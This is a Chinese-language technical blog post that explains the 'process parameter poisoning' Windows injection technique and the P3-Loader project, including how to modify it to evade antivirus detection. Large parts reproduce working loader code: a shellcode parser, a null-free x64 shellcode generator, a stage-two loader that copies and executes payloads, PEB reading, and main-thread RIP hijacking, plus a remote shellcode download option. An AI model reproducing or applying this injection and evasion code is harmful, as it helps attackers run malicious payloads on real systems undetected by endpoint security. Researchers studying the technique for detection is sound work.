新免杀技术 进程参数投毒详细讲解及源项目免杀处理
免责声明
本文所涉及的技术、思路和工具仅用于安全测试和防御研究,严禁将其用于非法入侵或其它攻击他人系统以及盈利等目的,一切后果由操作者自行承担。
一、前言
Windows 新型进程注入技术曝光,四大主流 EDR 均被绕过
新型 Windows 进程注入技术的实现思路
二、源项目免杀处理
三、源项目代码解析
1. ShellCodeUserInput.cpp
2. WinApiResolver.cpp
3. HTTPClient.cpp
4. Menu.cpp
5. P3-Loader.cpp
6. ShellCodeWriter.cpp
Windows 新型进程注入技术曝光,四大主流 EDR 均被绕过
2026.7.10 公开的一项 Windows 概念验证研究显示,攻击者可以通过一种更隐蔽的方式,将恶意代码植入合法进程,同时避开端点安全工具中常见的检测规则。这一技术并非通过传统的远程内存写入来完成,而是利用进程启动阶段自带的信息传递机制来隐藏载荷。
该方法被称为 “进程参数投毒”。简单来说,它不是直接向目标进程写入恶意代码,而是在创建新进程时,将 shellcode 藏匿在 Windows 启动进程过程中会读取的参数区域里。进程注入长期以来都是恶意软件常用的隐藏手段。攻击者通常会借助这类技术,让恶意代码混入受信任的正常进程,从而降低被安全工具发现的可能性。
从攻击条件来看,攻击者首先需要具备在目标 Windows 系统上执行代码的能力。在此基础上,攻击者可以进一步改造并运用这种注入方法。根据 GitHub 相关项目的分析,研究人员在测试中使用该加载器针对四款主流 EDR 产品进行验证,结果显示其成功绕过了检测机制。这一发现暴露出防御层面的一个盲区:如果安全检测主要集中在常见的内存写入、远程线程创建和进程创建行为上,就可能忽略某些更隐蔽的注入路径。
Orange Cyberdefense 在分享给 Cyber Security News(CSN)的报告中指出,该技术的核心思路是将 shellcode 临时存放在新进程的启动数据中,随后修改目标进程的主线程,使其执行流向被重定向到恶意代码。公开项目 “P-Shellcode Loader” 也被明确标识为安全研究工具,而不是已经武器化的恶意程序。
源项目 Github 地址见文末
新型 Windows 进程注入技术的实现思路
传统进程注入通常有一套比较容易被识别的行为链。攻击者一般会先打开或启动目标进程,然后在目标进程内部分配内存,将恶意代码写入该内存区域,再将内存权限标记为可执行,最后通过创建远程线程或修改线程执行流来运行代码。正因如此,许多安全产品都会重点监控与这些动作相关的 API 调用,例如 VirtualAllocEx、WriteProcessMemory 和 CreateRemoteThread 等。一旦这些调用异常出现,就可能触发告警。
相比之下,这次公开的新方法采取了不同的路径。当 Windows 通过 CreateProcessW 创建一个新进程时,会把命令行参数、环境变量和启动设置等信息复制到进程内部的一个数据结构中,这个结构被称为进程环境块(PEB)。
该加载器正是利用这一机制,将载荷藏进这些被复制的启动数据里。研究人员将这一操作称为 “进程参数投毒”。具体来说,攻击者可以把 shellcode 放置在命令行、环境变量块,或是 lpReserved 启动字段中。在 Windows 内部,这些内容会被映射到 ShellInfo 结构中,从而成为进程启动过程的一部分。
新进程启动后,加载器会读取目标进程的 PEB 信息,并通过内存读取操作找到之前藏匿的数据。与传统注入不同,这种方法在一定程度上避开了 EDR 通常更关注的远程内存分配和远程写入行为。随后,攻击者会修改已存储数据所在内存的权限,使载荷具备执行条件。为了进一步规避检测,该技术并不创建新的远程线程,而是通过 NtSetContextThread 修改新进程主线程的指令指针,让原本正常的程序执行流程转向注入代码。这样一来,它就绕过了传统进程注入中多个容易被检测的行为特征。

该加载器无需将目标进程以挂起状态创建,也无需后续挂起其线程,这些操作通常与进程镂空(Process Hollowing)及类似技术相关联。较少的高调操作可以缩减基于行为的防御所能追踪的痕迹,尽管这并不能使活动完全隐形。
源项目是过不了火绒的,我目前只测试了火绒,其他杀软没测试过,触发查杀的代码如下图所示,位于程序入口点 wmain 函数中


这段代码的作用是把目标进程中 PEB 参数缓冲区的内存属性从 PAGE_READWRITE 改为 PAGE_EXECUTE_READ。在寻找被查杀的原因时发现上图所示部分代码注释掉再编译就不会报毒了,所以应该是跨进程和 PEB 内存属性修改触发了火绒的注入特征。
免杀思路:用 NtCreateSection、NtMapViewOfSection 代替 PEB 投递







这部分代码提供了两种获取 Shellcode 的方式,一种是控制台输入,一种是 URL 下载。shellcode 被当作 WCHAR* 传递时,\x00\x00 会被解释为字符串结束,该类检测连续空字节,并提供包装机制 ShellCodeWriter::LoadAndCallShellCode 在目标进程动态分配并跳转,避免被截断。
ParseNibble 函数
这个函数将字符变量 c 的值解析为十六进制半字节。

这个函数的作用是把一个十六进制数字的字符转成对应的数值。假设用户输入 shellcode:\xBA\xAD\xF0\x0D,读到 B 时,调用 ParseNibble('B') 得到 11,读到 A 时,调用 ParseNibble('A') 得到 10。
半字节:一个字节 8 位,半字节表示 4 位二进制数据,字符 '0' 半字节值 0;字符 '5' 半字节值 5;字符 'A' 半字节值 10。0xBA 的高半字节是 B 对应值 11(1011),A 则是低半字节,值为 10(1010)
ParseUserShellCode 函数
这个函数由 GetConsoleInput() 函数调用,用于解析形如 \xba\xad\xf0\x0d 的 shellcode 字符串,将其转换为字节向量,并检测是否需要包装

三个参数,参数一是 user_shellcode 表示输入字符串,res 表示输出字节向量,requires_wrap 表示是否需要包装。
switch (idx % 4)
{
case 0: // Backslash
if (c != '\\') { return false; }
break;
case 1: // x
if (c != 'x') { return false; }
break;
case 2: // First nibble
{
uint8_t nibble = 0;
if (!ParseNibble(c, nibble)) { return false; }
current_byte = nibble << 4;
break;
}
case 3: // Second nibble
{
uint8_t nibble = 0;
if (!ParseNibble(c, nibble)) { return false; }
current_byte |= nibble;
if (current_byte == 0 && prev_zero && (idx & 1) == 1) {
requires_wrap = true;
}
res.push_back(current_byte);
prev_zero = current_byte == 0;
break;
}
}switch 根据每四个字符的位置处理,case 0,表示第一个字符应该为反斜杠,否则返回 false;case 1,表示第二个字符应该为 x,否则返回 false;case 2,表示解析第一个十六进制字符作为高半字节,存入 current_byte 的高四位;case 3,表示解析第二个十六进制字符作为低半字节,current_byte |= nibble,得到完整字节。
if (current_byte == 0 && prev_zero && (idx & 1) == 1) {
requires_wrap = true;
}这个 if 用于检测连续空字节,如果出现连续空字节,设置 requires_wrap = true,表示需要包装处理。
GetConsoleInput 函数
从控制台读取用户输入的 shellcode 字符串,解析并返回字节向量。如果 shellcode 包含可能导致截断的空字节,则使用 ShellCodeWriter 包装它,使其在运行时分配新内存并执行。

调用 ParseUserShellCode 函数解析,若成功则跳出循环,否则提示错误并重试。解析成功后,若 requires_wrap 为真:
打印提示信息
创建 ShellCodeWriter 实例
调用 LoadAndCallShellCode(user_shellcode_bytes),该方法生成一段包装 shellcode,该 shellcode 会在目标进程中动态分配内存、复制原 shellcode、更改保护并跳转执行。
返回包装后的 shellcode 字节:w.GetShellCodeBytes()
若 requires_wrap 为假,则直接返回解析后的原始字节
GetURLInput 函数
从指定 URL 下载 shellcode 的二进制数据,然后检测是否包含连续空字节,若包含则同样会进行包装。

创建 HTTPClient 实例,设置用户代理字符串;
定义宽字符数组 downloadUrl 存储 URL;
提示用户输入 URL,使用 wscanf_s 安全地读取一行,格式 %1023[^\n] 表示读入除换行外的所有字符,最多 1023 个,并留一个给终止符;
调用 httpClient.DownloadURL(downloadUrl) 下载数据,返回 vector<uint8_t>;
检测是否需要包装,若为正逻辑和 GetConsoleInput() 处理逻辑一样,否则返回下载的字节。
这部分代码实现了隐蔽 Windows API 加载器。换而言之就是通过哈希值和手动解析 PE 结构来获取任意 Windows 函数的地址。
HashStringDjb2A 函数
这个函数的作用是把任意字符串变成唯一的 32 位数字

代码里所有 API 名称都以哈希值硬编码

HashStringDjb2W 函数
这个函数功能和 HashStringDjb2A 函数的功能一样,只不过操作的数据类型不同。

FindModuleBaseH 函数
遍历模块列表,通过 PEB 里的链表找到 ntdll.dll 的基址,同样使用哈希来匹配模块名


MyGetProcAddressH 函数
这个函数的作用是遍历导出表,拿到模块基址后,解析它的 PE 结构,找到导出表。遍历每个导出函数,计算其名字的哈希,与目标哈希比对,匹配则返回对应函数地址。

执行流程
HTTPClient.cpp 是对 HTTP GET 请求的简单封装,整体执行流程如下图所示

代码解析
构造函数 HTTPClient::HTTPClient(const wchar_t* user_agent),参数 user_agent,用于标识客户端。InternetOpenW 初始化 WinINet 会话,返回一个 HINTERNET 句柄。

析构函数,若会话句柄有效,调用 InternetCloseHandle 释放资源,确保对象销毁时清理 WinINet 会话。

DownloadURL 方法中,声明了一个 vector<uint8_t> 用于存放下载的二进制数据。

调用 InternetOpenUrlW 打开指定的 URL,返回一个请求句柄。失败打印错误,并返回空 vector。

使用 HttpQueryInfow 查询 HTTP 状态码。参数 HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER 表示获取状态码并以数字形式返回。若查询失败,打印错误,关闭请求句柄,返回空 vector。

定义 1KB 临时缓冲区,循环读取数据。InternetReadFile 从请求句柄读取数据,返回实际读取字节数到 nBytesRead。将读取的数据追加到 result 末尾。

这部分代码用于实现用户交互界面,让操作者选择注入方式、载荷类型和目标进程,是整个项目的前端部分。
核心函数是 ShowFunctionMenu,该函数被主函数 wmain 调用

SetColor 函数
获取标准输出句柄,调用 SetConsoleTextAttribute 修改控制台文本颜色。

ShowFunctionMenu 函数
该函数是核心交互函数,参数均为指针,用于将用户的选择传回主程序

第一轮菜单供用户选择 PEB 参数存放位置,共三种方式 si.lpReserved、环境块、命令行。

第二轮供用户选择载荷类型,有四种直接弹出 MessageBox、用户手动输入 shellcode、加载磁盘上的 DLL、从 URL 下载 shellcode。如果用户选择 DLL 加载,则提示输入完整路径。

第三轮菜单供用户选择目标程序,wmain 中给定了默认目标程序 winver.exe,用户可以选择选项二来进行修改

ShellCodeWriter 是一个 shellcode 生成器,通过一系列方法将 API 调用转化为可执行的原始机器码,并自动管理栈帧和参数传递。它利用 x64 调用约定,并通过动态生成立即数避免空字节,生成位置无关代码,适合注入到其他进程执行。
该类用于动态生成 x64 架构的 shellcode,通过组合原始字节码,模拟函数调用、参数传递、堆栈管理,并最终生成可注入执行的二进制载荷。
CallMessageBoxA 函数
拼接标题和文本为一块连续内存,用 PushBuffer 把这块数据压入栈,分配影子空间,设置参数,调用 MessageBoxA,最后 FreeStack。

CallLoadLibraryA 函数
和 CallMessageBoxA 类似,压入模块名,RCX=栈上模块名地址,调用 LoadLibraryA。

LoadAndCallShellCode 函数
void ShellCodeWriter::LoadAndCallShellCode(const std::vector<uint8_t>& shellcode)
{
// 将用户 shellcode 压入栈
PushBuffer(shellcode.data(), shellcode.size());
int stack_pos_user_sc = m_total_consumed_stack_bytes;
// Shadow Space
AppendShellCode("\x48\x83\xEC\x20", 4); // sub rsp, 32
m_total_consumed_stack_bytes += 32;
{
// 调用 VirtualAlloc 分配 RW 内存
SetArgRegister(0, NULL);
SetArgRegister(1, shellcode.size());
SetArgRegister(2, MEM_COMMIT);
SetArgRegister(3, PAGE_READWRITE);
WinApiResolver winapi = WinApiResolver::GetInstance();
Call((uint64_t)winapi.VirtualAlloc);
}
{
// 将 shellcode 从栈复制到新分配的内存
AppendShellCode("\x49\x89\xC4", 3); // mov r12, rax ; shellcode_dest
AppendShellCode("\x49\x89\xC2", 3); // mov r10, rax ; shellcode_dest
SetRAX(shellcode.size()); // User Shellcode size
AppendShellCode("\x49\x89\xC3", 3); // mov r11, rax ; User Shellcode size
SetArgRegisterStackRelative(0, (m_total_consumed_stack_bytes - stack_pos_user_sc)); // User Shellcode
// r10: Shellcode dest ptr
// r11: size
// rcx: Shellcode src ptr
const char* copy_sc =
"\x8A\x01" // mov al, byte ptr ds:[rcx]
"\x41\x88\x02" // mov byte ptr ds:[r10], al
"\x48\xff\xc1" // inc rcx
"\x49\xff\xc2" // inc r10
"\x49\xff\xcb" // dec r11
"\x75\xf0"; // jnz -16
AppendShellCode(copy_sc, 16);
}
{
// 调用 VirtualProtect 修改为 PAGE_EXECUTE_READ
// VirtualProtect(shellcode_dest, size, PAGE_EXECUTE_READ, shellcode_src);
AppendShellCode("\x4C\x89\xE1", 3); // mov rcx, r12 ; lpAddress
SetArgRegister(1, shellcode.size());
SetArgRegister(2, PAGE_EXECUTE_READ); // flNewProtect
SetArgRegisterStackRelative(3, (m_total_consumed_stack_bytes - stack_pos_user_sc)); // Will overwrite the shellcode, but that is ok :) WinApiResolver winapi = WinApiResolver::GetInstance();
Call((uint64_t)winapi.VirtualProtect);
}
// 若栈未对齐到 16 字节,补一个 pop/push 调整
if ((m_total_consumed_stack_bytes % 16))
{
AppendShellCode("\x58\x50\x50", 3); // pop rax; push rax; push rax;
m_total_consumed_stack_bytes += 8;
}
// 跳转到新分配的内存
AppendShellCode("\x41\xff\xe4", 3); // jmp r12}
可以看到 ShellCodeUserInput 中调用该函数生成一个不含空字节的包装器,它内部固化了用户的原始 shellcode 作为数据。这个包装器被嵌入 PEB 参数,RIP 劫持到它,它在目标进程完成以下步骤
将用户原始 shellcode 压到栈上
VirtualAlloc 分配新内存
逐字节循环把栈上 shellcode 拷到新内存
VirtualProtect 改为可执行
Jmp r12 跳到新内存执行真正的用户 shellcode
所以这个函数起到一个桥梁的作用,它把自己做成不含空字节的 payload,让它能被安全地投递到 PEB 参数中,到了目标进程内部后,它再充当 loader 把真正含空字节的用户 shellcode 释放到新内存并跳转执行。
CallTerminateProcess 函数
这个函数用于调用 NtTerminateProcess 用于终止进程

调用位置在 wmain 中

CallSuspendThread 函数
这个函数和 CallTerminateProcess 类似,调用的是 NtSuspendThread 用于挂起进程。但实际上整个项目并未用到这个函数,这个项目演示的是即用机毁,所以压根用不到这个函数。

AppendShellCode 函数
这个函数负责将一段原始的机器码追加到最终生成的 Shellcode 缓冲区 m_sc_bytes 末尾。

SetRAXXOR 和 SetRAX 函数
这两个函数的核心目的是生成不包含空字节的 x64 shellcode,因为很多漏洞利用场景下,shellcode 会被当作 C 风格字符串处理,遇到 0x00 会被截断,导致后续指令无法执行。
SetRAX(value) 负责将任意 64 位值赋给 RAX,同时保证生成的机器码中没有 0x00,它的底层实现依赖 SetRAXXOR,利用异或编码来避免空字节。


这两个函数结合可以将任意值编码成两个非零字节的数值,通过异或还原,从而避免在 shellcode 中引入空字节。
PushValue 函数、PushBuffer 函数、FreeStack 函数
这三个函数是 ShellCodeWriter 生成机器码时管理堆栈内存的核心工具。它们的目的是在 shellcode 中模拟高级语言的内存分配和释放,同时保证生成的字节码不含 0x00。
PushValue 作用是将任意 64 位数值压入 shellcode 的堆栈,这里调用了 SetRAX 生成不含空字节的 mov rax, value 指令,再追加 push rax 的机器码 0x50。m_total_consumed_stack_bytes 用于记录当前分配了多少栈空间,方便后续统一释放。

PushBuffer 把一段原始数据完整的复制到 shellcode 的栈上。因为 PushValue 只能压 8 字节整数,所以需要把不定长的数据拆成若干个 8 字节块。

FreeStack 作用是在调用完 Windows API 后,把之前 PushBuffer 和分配的影子空间占用的栈全部清理掉,让 RSP 回到函数调用前的状态

SetArgRegister 函数
作用是把一个常量值直接赋值给某个参数寄存器

使用场景
// CallTerminateProcess 中
SetArgRegister(0, (uint64_t)ProcessHandle);
SetArgRegister(1, ExitStatus);
// CallVirtualAlloc 中
SetArgRegister(0, NULL); // lpAddress = NULL
SetArgRegister(1, size); // dwSize
SetArgRegister(2, MEM_COMMIT); // flAllocationType
SetArgRegister(3, PAGE_READWRITE);// flProtect
SetArgRegisterStackRelative 函数
把一个指向栈上数据的指针赋给某个参数寄存器

SetRAX(stack_relative_offset); // RAX = 偏移量
AppendShellCode("\x48\x8D\x04\x04", 4); // lea rax, [rsp + rax] ←关键
m_sc_bytes.push_back(ins_bytes0[...]); // mov <dst>, rax
m_sc_bytes.push_back(0x89);m_sc_bytes.push_back(ins_bytes3[...]);核心指令是 lea rax. [rsp + rax],计算出 sp + 偏移量的地址,即栈上某个数据的指针,换句话说这个是用来动态计算指针位置的,因为生成 shellcode 时是不知道目标进程中栈的绝对地址的。
还是以代码中的 CallMessageBoxA 来说明:
(m_total_consumed_stack_bytes - stack_pos_buf) + text_pos
(m_total_consumed_stack_bytes - stack_pos_buf) + title_posSetArgRegisterStackRelative(1, text_offset); 用于计算栈上 lpText 的地址
SetArgRegisterStackRelative(2, title_offset); 用于计算栈上 lpCaption 的地址

Call 函数
这个函数作用是在 shellcode 中产生一条 call 指令,但在生成之前自动处理 x64 调用约定要求的 16 字节栈对齐。

所以这个函数本质上就是在保证栈 16 字节对齐的前提下,通过 push/pop/call reg 的跳板模式间接调用任意 64 位地址。
整部分在吗包含四个函数:BuildShellPayload、ThreadSetExec、CreateProcessWithPoison、wmain
BuildShellPayload 函数
该函数用于构造注入载荷,根据用户在菜单中的选择,构造最终要嵌入 PEB 参数的数据块。
// 用户选择的 shellcode 类型和 DLL 路径,返回包含最终注入的数据的 vector<uint8_t>
std::vector<uint8_t> BuildShellPayload(int payloadShellcodeChoice, const char* dllPath)
{
std::vector<uint8_t> myCode;
/* 构造一个宽字符字符串 L"A=",后面追加 4096 个 0x41 作为填充。这样整个数据块大小
* 至少 4+4096 字节,模拟一个巨大的环境变量或命令行参数,用于后续在目标进程参数块
* 中占据内存。
*/
myCode.push_back(0x41); // L'A'
myCode.push_back(0x00);
myCode.push_back('='); // L'='
myCode.push_back(0x00);
myCode.insert(myCode.end(), 4096, 0x41);
// 获取 payload 方式
if (payloadShellcodeChoice == 1)
{
// 选项 1:直接 MessageBox shellcode,由 ShellcodeWriter 生成,然后追加到 myCode
ShellCodeWriter w;
w.CallMessageBoxA(0, "Injected by PPP-Shellcode Loader", "Shell code was injected successfully!", 0); w.CallTerminateProcess(NULL, 0);
std::vector<uint8_t> mbox_sc = w.GetShellCodeBytes();
myCode.insert(myCode.end(), mbox_sc.begin(), mbox_sc.end());
}
else if (payloadShellcodeChoice == 2)
{
// 选项 2:用户通过控制台输入 shellcode,由 ShellCodeUserInput::GetConsoleInput 获取
std::vector<uint8_t> user_sup_sc = ShellCodeUserInput::GetConsoleInput();
myCode.insert(myCode.end(), user_sup_sc.begin(), user_sup_sc.end());
}
else if (payloadShellcodeChoice == 3)
{
// 选项 3:加载指定 DLL,生成调用 LoadLibrary 的 shellcode,然后终止进程。
ShellCodeWriter w;
w.CallLoadLibraryA(dllPath);
w.CallTerminateProcess(NULL, 0);
std::vector<uint8_t> ll_sc = w.GetShellCodeBytes();
myCode.insert(myCode.end(), ll_sc.begin(), ll_sc.end());
}
else if (payloadShellcodeChoice == 4)
{
// 选项 4:从 URL 下载 shellcode,通过 GetURLInput 获取远程内容。
std::vector<uint8_t> user_sup_sc = ShellCodeUserInput::GetURLInput();
myCode.insert(myCode.end(), user_sup_sc.begin(), user_sup_sc.end());
}
/* 再追加 4096 个 0x41 填充,以及 5 个宽字节终止符。
* 总体数据布局为:L"A=" + 4096 字节填充 + shellcode + 4096 字节填充 + 5 个零
*/
myCode.insert(myCode.end(), 4096, 0x41);
myCode.insert(myCode.end(), 5, 0);
return myCode;
}数据构造布局,返回的 vector<uint8_t> 在内存中排列如下所示:

选项 1 Demo MessageBox 用 ShellCodeWriter 生成两段连续的 shellcode:
调用 MessageBox 弹出一个消息框
调用 NtTerminateProcess 终止进程
这是一个无空字节的自包含 shellcode,直接嵌入 PEB 参数即可。用户选择这个只是为了快速验证注入链是否能跑通。
选项 2 用户控制台输入 Shellcode,GetConsoleInput() 从控制台读取 \xBA\xAD\xF0\x0D 格式的十六进制 shellcode。如果检测到空字节,内部会自动调用 LoadAndCallShellCode 来包装成二阶段加载器。返回的字节要么是原始 shellcode,要么是包装器 shellcode。
选项 3 加载 DLL,生成的 shellcode 做两件事,调用 LoadLibraryA 加载指定 DLL,然后终止进程。DLL 路径从菜单的 dllPath 获取。DLL 路径字符串会被 PushBuffer 压入栈,然后用 SetArgRegisterStackRelative 把它的栈地址传给 LoadLibraryA 作为参数。不需要知道目标进程中的绝对地址。
选项 4 从 URL 下载 Shellcode,GetURLInput() 通过 HTTPClient 从远程 URL 下载二进制 shellcode,检查空字节,必要时自动包装。注意 URL 下载是在注入器进程内完成的——注入器先下载到本地内存,然后生成对应的二阶段加载器shellcode,再嵌入 PEB 参数投送到目标进程。
ThreadSetExec 函数
这个函数的功能是劫持线程执行,将目标进程主线程的指令指针 RIP 修改为 shellcode 地址,实现执行流劫持。
NTSTATUS ThreadSetExec(PHANDLE hThread, PVOID shellcode)
{
CONTEXT ctx; ctx = { 0 };
ctx.ContextFlags = CONTEXT_CONTROL; // CONTEXT_CONTROL-Flag is enough
WinApiResolver winapi = WinApiResolver::GetInstance();
if (winapi.LdrControlFlowGuardEnforced())
{
return STATUS_ACCESS_DENIED;
}
NTSTATUS status = 0;
status = winapi.NtGetContextThread(*hThread, &ctx);
if (!NT_SUCCESS(status))
{
SetColor(FOREGROUND_RED);
printf("\n[-] NtGetContextThread failed with Error Code %08x\n", status);
return status;
}
ctx.Rip = (DWORD64)shellcode;
status = winapi.NtSetContextThread(*hThread, &ctx);
if (!NT_SUCCESS(status))
{
SetColor(FOREGROUND_RED);
printf("\n[-] NtSetContextThread failed with Error Code %08x\n", status);
return status;
}
return 0;
}初始化上下文
ContextFlags = CONTEXT_CONTROL 表示只请求控制寄存器,RIP、RSP、段寄存器等,不读通用寄存器之类的。
CONTEXT ctx;ctx = { 0 };
ctx.ContextFlags = CONTEXT_CONTROL; // CONTEXT_CONTROL-Flag is enoughCFG 检测
Control Flow Guard (CFG) 是 Windows 的漏洞缓解机制。如果启用,任何间接跳转(call reg、jmp reg 等)的目标地址必须在编译时注册的合法间接调用目标列表中。LdrControlFlowGuardEnforced() 查询当前进程是否启用了 CFG。如果 CFG 开启,则直接返回拒绝访问。因为后面要把 RIP 改成 shellcode 地址——shellcod地址肯定不在 CFG 的合法目标表里,NtSetContextThread 恢复线程执行时会立即触发 CFG 异常,导致进程崩溃而非执行 shellcode。
WinApiResolver winapi = WinApiResolver::GetInstance();
if (winapi.LdrControlFlowGuardEnforced())
{
return STATUS_ACCESS_DENIED;
}获取线程上下文
NtGetContextThread 是 GetThreadContext 的内核级底层函数。它会暂停线程、读取所有 ContextFlags 指定的寄存器组,然后恢复线程。
NTSTATUS status = 0;status = winapi.NtGetContextThread(*hThread, &ctx);
if (!NT_SUCCESS(status))
{
SetColor(FOREGROUND_RED);
printf("\n[-] NtGetContextThread failed with Error Code %08x\n", status);
return status;
}修改 RIP
把 x64 的指令指针寄存器设为 shellcode 在目标进程中的虚拟地址。
ctx.Rip = (DWORD64)shellcode;应用修改后的上下文
NtSetContextThread 将修改后的 CONTEXT 写入目标线程的内核对象。下次调度器恢复该线程执行时,会从 ctx.Rip 开始运行,即 shellcode。
status = winapi.NtSetContextThread(*hThread, &ctx);
if (!NT_SUCCESS(status))
{
SetColor(FOREGROUND_RED);
printf("\n[-] NtSetContextThread failed with Error Code %08x\n", status);
return status;
}传统线程上下文劫持的标准流程是:
SuspendThread - GetThreadContext - 改 RIP - SetThreadContext - ResumeThread
但是项目中没有调用 SuspendThread 也没有调用 ResumeThread,因为:
目标进程刚创建,主线程还未开始执行。虽然 CreateProcessW 没有传入 CREATE_SUSPENDED 标志,但注入器在创建进程后立即 Sleep(1000) 然后快速完成 PEB 读取和 RIP 修改,这1 秒给了进程初始化的时间,但 winver.exe 这种 GUI 程序的线程在初始化完窗口后通常处于等待消息的状态;
NtSetContextThread 本身不需要线程处于挂起状态即可生效。当线程下一次被调度器选中恢复执行时,CPU 加载的 RIP 就是修改后的值;
不调用 SuspendThread、ResumeThread 避免了这些可能被 EDR 监控的 API。
CreateProcessWithPoison 函数

该函数用于投毒创建进程,以三种注入方式之一创建目标进程,将恶意数据夹带进不同的 PEB 参数字段。
三种注入路径对比
三种方式都不调用 VirtualAllocEx、不调用 WriteProcessMemory,而是信赖 CreateProcessW 自身的参数复制机制。CreateProcessW 在创建新进程时,会将这些参数复制到新进程的用户空间,填充 PEB,这一步是合法的操作系统行为,不在 EDR 的重点监控范围内。
wmain 函数
这个函数就是入口函数了,整个注入流程按时间顺序分七阶段:
阶段 1: 变量声明和初始化
这里没什么好说的,主要就是指定的默认目标程序是 winver.exe,后续可以从这里修改目标程序。
阶段 2:菜单交互
一共收集三次用户选择
注入位置,也就是 PEB 字段
Payload 类型,Demo MessageBox、自定义 shellcode、加载 DLL、URL 下载
目标程序,可以保持默认 winver.exe 或修改为自定义路径
阶段 3:构造 Payload 并创建进程

阶段 4:在远程进程中定位 Shellcode
Sleep(1000); // Run target process a bit before getting the PEB address
WinApiResolver winapi = WinApiResolver::GetInstance();
winapi.NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &retLen);
// 读取远程 PEB 到本地 pebLocal 结构
NTSTATUS status = winapi.NtReadVirtualMemoryEx(
pi.hProcess, // HANDLE to remote process
pbi.PebBaseAddress, // base address to read
&pebLocal, // output buffer
sizeof(pebLocal), // size to read
&bytesRead, // actual bytes read
0 // currently unknown, used 0
);
if (!NT_SUCCESS(status))
{
SetColor(FOREGROUND_RED);
std::wcerr << L"[-] NtReadVirtualMemoryEx failed: 0x" << std::hex << status << std::endl;
return 1;}std::wcout << L"\t[+] PEB read successfully via NtReadVirtualMemoryEx, bytes: " << bytesRead << std::endl;// 进一步读取 RTL_USER_PROCESS_PARAMETERS 结构体到本地,其中包含命令行、环境、ShellInfo 等字段
status = winapi.NtReadVirtualMemoryEx(
pi.hProcess, // HANDLE to remote process
pebLocal.ProcessParameters, // base address to read
¶meters, // output buffer
sizeof(parameters), // size to read
&bytesRead, // actual bytes read
0
);
if (!NT_SUCCESS(status)) {
SetColor(FOREGROUND_RED);
std::wcerr << L"[-] NtReadVirtualMemoryEx failed: 0x" << std::hex << status << std::endl;
return 1;
}
// 定位 Shellcode 地址
switch (choice) {
case 1:
shellcode = (uint8_t*)(parameters.ShellInfo.Buffer) + 4 + 4096;
break;
case 2:
shellcode = (uint8_t*)(parameters.Environment) + 4 + 4096;;
break;case 3:
shellcode = (uint8_t*)(parameters.CommandLine.Buffer) + 4 + 4096;
break;
default:
printf("[-] Invalid choice.\n"); return 1;
}
printf("\n");SetColor(ORANGE);
printf("[!] Shellcode is at 0x%p\n", shellcode);通过 NtQueryInformationProcess 获取远程进程中 PEB 的地址,再通过 NtReadVirtualMemoryEx 读取 PEB,获取 ProcessParameters 字段,最后通过 NtReadVirtualMemoryEx 读取 RTL_USER_PROCESS_PARAMETERS 获取 shellcode 存储位置的 buffer 指针。
Sleep(1000),目的是让操作系统完全初始化进程的用户态数据结构。在某些 Windows 版本上或者是调试版本,进程刚创建时,PEB 的初始化可能还没完全完成。
读取完成后根据注入方式计算 shellcode 地址
switch (choice) {case 1:
shellcode = (uint8_t*)(parameters.ShellInfo.Buffer) + 4 + 4096; break;
case 2:
shellcode = (uint8_t*)(parameters.Environment) + 4 + 4096;;
break;case 3: shellcode = (uint8_t*)(parameters.CommandLine.Buffer) + 4 + 4096;
break;
}偏移计算逻辑:Buffer 指向参数字符串的起始位置,也就是 L"A=" 的位置。+4 跳过 L"A="(4 字节),+4096 跳过前面的大块 0x41 填充,精确落在 shellcode 的第一个字节上。
阶段 5:修改内存保护

去除多余的字节大小,只保留 shellcode 的实际长度,调用 NtProtectVirtualMemory 将这段内存的保护属性改为 PAGE_EXECUTE_READ,可执行,可读,不可写。PEB 参数区域默认是 PAGE_READWRITE 可读写不可执行,不修改的话 CPU 会因为 NX (No-Execute) 位而拒绝执行。
这里用 NtProtectVirtualMemory 而不是 VirtualProtectEx,因为 VirtualProtectEx 可能被 EDR hook,而前者通过 WinApiResolver 直接从 ntdll 解析,绕过用户态 hook。
阶段 6:触发执行

等用户按键才触发,按下任意键 ThreadSetExe 修改目标线程 RIP。不需要 ResumeThread,因为目标进程不是 CREATE_SUSPENDED 创建的,主线程一直处于可调度状态。NtSetContextThread 修改上下文后,线程在下次调度时自然从新 RIP 开始执行。
阶段 7:清理
释放句柄避免资源泄露,这里关闭句柄是 shellcode 已经在目标进程中执行了,所以关闭句柄不影响目标进程的运行。
整个过程中,注入器从未调用过 VirtualAllocEx、WriteProcessMemory、CreateRemoteThread 这三大被 EDR 严控的 API。所有内存写入由 CreateProcessW 的合法参数复制行为完成,所有执行重定向只用到 NtGetContextThread + NtSetContextThread 这对上下文操作 API。这就是 P³ 技术的核心,用操作系统正常进程创建行为掩盖恶意注入
技术原文:https://cybersecuritynews.com/new-windows-process-injection-technique/
项目地址:https://github.com/Orange-Cyberdefense/p3-loader
